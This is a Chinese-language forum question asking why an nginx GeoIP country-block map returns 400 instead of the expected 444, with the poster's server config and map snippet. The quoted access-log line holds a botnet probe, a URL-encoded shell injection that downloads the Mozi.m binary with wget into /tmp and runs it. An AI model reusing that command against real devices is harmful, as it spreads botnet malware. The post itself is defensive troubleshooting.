Nginx:使用地图实现国家区块

Nginx:使用地图实现国家区块

我正在尝试在 nginx 网络服务器上实现带有地图的国家区块。

这是我的服务器配置:

include snippets/ban-country-codes.conf;
include snippets/ban-user-agent.conf;

server {
        listen 80 default_server;
        server_name _;

        # Disallow access based on GeoIP
        if ($allowed_country = no) {
           return 444;
           }

        # Disallow access based on user agent
        if ($allowed_useragent = no) {
           return 444;
           }

        access_log /var/log/nginx/dehydrated80.access.log combinedplusgeoip;
        error_log /var/log/nginx/dehydrated80.error.log;
                location ^~ /.well-known/acme-challenge {
                default_type "text/plain";
                auth_basic "off";
                alias /var/www/dehydrated;
        }

        #redirect all other urls to https
        location / {
                return 301 https://$host$request_uri;
        }

}

这是实施禁令的代码片段(片段/ban-country-codes.conf):

map $geoip_country_code3 $allowed_country {
    '' no;
    CHN no;
    default yes;
}

理论上,nginx 应该对来自 CHN 的客户端和没有地理标识的客户端返回 444(关闭连接)。

不幸的是我在我的日志中看到了这个(自定义格式)联合加geoip,我添加了 geoip 信息的组合格式):

<ipaddress> CHN - - [14/Oct/2020:11:02:37 +0200] "27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ HTTP/1.0" 400 166 "-" "-"

服务器响应 400(当然,这是一个恶意请求),而不是预期的 444。

这怎么可能?

相关内容